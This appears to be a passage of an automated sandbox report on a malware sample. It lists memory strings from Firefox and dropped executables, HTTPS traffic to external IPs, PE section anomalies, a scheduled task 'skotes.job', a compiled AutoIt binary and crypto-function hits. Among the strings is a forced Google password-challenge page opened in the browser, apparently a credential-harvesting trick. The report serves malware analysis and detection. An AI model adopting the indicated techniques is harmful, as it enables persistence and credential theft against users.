Source: firefox.exe, 00000017.00000002.3128253974.000002A10096B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3216727039.000002A118855000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3125283415.000000B8E847C000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3216727039.000002A11883F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3180523037.000002A1123EF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3130809061.000002A10C103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3132579921.000002A10C903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3227104900.00000E761DD04000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: firefox.exe, 00000017.00000002.3180523037.000002A112323000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: firefox.exe, 00000017.00000002.3187209410.000002A112976000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3078945173.000002A11203B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3074087275.000002A112025000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: firefox.exe, 00000017.00000002.3187209410.000002A112976000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/places.sqlite#1:
Source: firefox.exe, 00000017.00000002.3180523037.000002A112323000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: 5a0a40fcc4.exe, 00000009.00000003.3113228708.0000000005BE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3180523037.000002A112323000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3178365976.000002A11213B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: firefox.exe, 00000017.00000002.3180523037.000002A112323000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: 5a0a40fcc4.exe, 00000009.00000003.3113228708.0000000005BE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3180523037.000002A112323000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3178365976.000002A11213B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: firefox.exe, 00000017.00000002.3142298865.000002A110406000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: 5a0a40fcc4.exe, 00000009.00000003.3113228708.0000000005BE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3180523037.000002A112323000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 00000017.00000002.3125283415.000000B8E847C000.00000004.00000010.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 00000017.00000002.3213720342.000002A1186FA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3216727039.000002A118812000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3228748763.000013329F904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3047163093.000002A1186FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 00000017.00000002.3130809061.000002A10C1DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CAB0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 00000017.00000002.3179199172.000002A1122EF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3232539310.0000288267B0A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3179199172.000002A112203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3231785535.0000145788C00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3160186876.000002A111150000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 00000017.00000002.3216727039.000002A118812000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3228748763.000013329F904000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.wykop.pl/
Source: firefox.exe, 00000017.00000002.3179199172.000002A1122EF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3232539310.0000288267B0A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3191075977.000002A112E0A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3179199172.000002A112203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CAE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3231785535.0000145788C00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116510955.0000014EE450A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 00000017.00000002.3213720342.000002A1186FA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3191075977.000002A112E0A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CAE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3228748763.000013329F904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3047163093.000002A1186FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 00000017.00000002.3168604978.000002A111AC0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warningThe
Source: firefox.exe, 00000017.00000002.3161686085.000002A111203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3136254233.000002A10DD4F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3207650570.000002A11419E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3136254233.000002A10DDC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3213720342.000002A1186DA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3231785535.0000145788C00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3216727039.000002A118883000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3185095768.000002A112741000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3132579921.000002A10C903000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com
Source: firefox.exe, 00000017.00000002.3185095768.000002A112710000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3192664244.000002A112FB4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3136254233.000002A10DDC9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/
Source: firefox.exe, 00000017.00000002.3178365976.000002A1121DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3166147320.000002A1115CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3180523037.000002A112381000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3179199172.000002A112203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3207650570.000002A11419E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CAE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3178365976.000002A112174000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CA7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3160186876.000002A11111B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3185095768.000002A112741000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3189174812.000002A112C68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3130073493.000002A10C0AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3128253974.000002A100903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3116032379.00000147773D4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3115703461.0000014777270000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3115703461.000001477727A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3115464555.0000014EE41FA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3115700002.0000014EE4344000.00000004.00000020.00020000.00000000.sdmp, 3018c3d2e6.exe, 0000001D.00000002.3285796838.000000000170B000.00000004.00000020.00020000.00000000.sdmp, 3018c3d2e6.exe, 0000001D.00000003.3279047154.00000000016D8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000015.00000002.2993521956.0000017EE800A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.2998150718.000001C016BFF000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3127610706.000002A1006D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 00000017.00000002.3187209410.000002A112988000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdmaybeOfferTranslatio
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.5:49841 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.5:49882 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.5:49898 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.5:49912 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:49922 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:49924 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.5:49927 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.5:49942 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.5:49954 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.5:49965 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.5:49985 version: TLS 1.2

System Summary
barindex
Binary is likely a compiled AutoIt script file
Source: 3018c3d2e6.exe, 0000000A.00000000.2943669602.0000000000CE2000.00000002.00000001.01000000.0000000B.sdmp String found in binary or memory: This is a third-party compiled AutoIt script. memstr_26a9dfc9-0
Source: 3018c3d2e6.exe, 0000000A.00000000.2943669602.0000000000CE2000.00000002.00000001.01000000.0000000B.sdmp String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer memstr_043f1b2f-2
Source: 3018c3d2e6.exe, 0000001D.00000002.3284559983.0000000000CE2000.00000002.00000001.01000000.0000000B.sdmp String found in binary or memory: This is a third-party compiled AutoIt script. memstr_cab12d77-d
Source: 3018c3d2e6.exe, 0000001D.00000002.3284559983.0000000000CE2000.00000002.00000001.01000000.0000000B.sdmp String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer memstr_b4e1cbb7-1
PE file contains section with special chars
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .idata
Source: file.exe Static PE information: section name:
Source: skotes.exe.0.dr Static PE information: section name:
Source: skotes.exe.0.dr Static PE information: section name: .idata
Source: skotes.exe.0.dr Static PE information: section name:
Source: random[1].exe.6.dr Static PE information: section name:
Source: random[1].exe.6.dr Static PE information: section name: .idata
Source: a6260c40a9.exe.6.dr Static PE information: section name:
Source: a6260c40a9.exe.6.dr Static PE information: section name: .idata
Source: random[1].exe0.6.dr Static PE information: section name:
Source: random[1].exe0.6.dr Static PE information: section name: .idata
Source: random[1].exe0.6.dr Static PE information: section name:
Source: 5a0a40fcc4.exe.6.dr Static PE information: section name:
Source: 5a0a40fcc4.exe.6.dr Static PE information: section name: .idata
Source: 5a0a40fcc4.exe.6.dr Static PE information: section name:
Source: random[1].exe1.6.dr Static PE information: section name:
Source: random[1].exe1.6.dr Static PE information: section name: .idata
Source: random[1].exe1.6.dr Static PE information: section name:
Source: eec95b2021.exe.6.dr Static PE information: section name:
Source: eec95b2021.exe.6.dr Static PE information: section name: .idata
Source: eec95b2021.exe.6.dr Static PE information: section name:
Creates files inside the system directory
Source: C:\Users\user\Desktop\file.exe File created: C:\Windows\Tasks\skotes.job Jump to behavior
Detected potential crypto function
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00E5E530 6_2_00E5E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00E978BB 6_2_00E978BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00E98860 6_2_00E98860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00E97049 6_2_00E97049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00E54DE0 6_2_00E54DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00E931A8 6_2_00E931A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00E92D10 6_2_00E92D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00E9779B 6_2_00E9779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00E54B30 6_2_00E54B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00E87F36 6_2_00E87F36
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Code function: 9_3_0145F0C1 9_3_0145F0C1
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Code function: 9_3_0145F0C1 9_3_0145F0C1
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Code function: 9_3_0145F0C1 9_3_0145F0C1
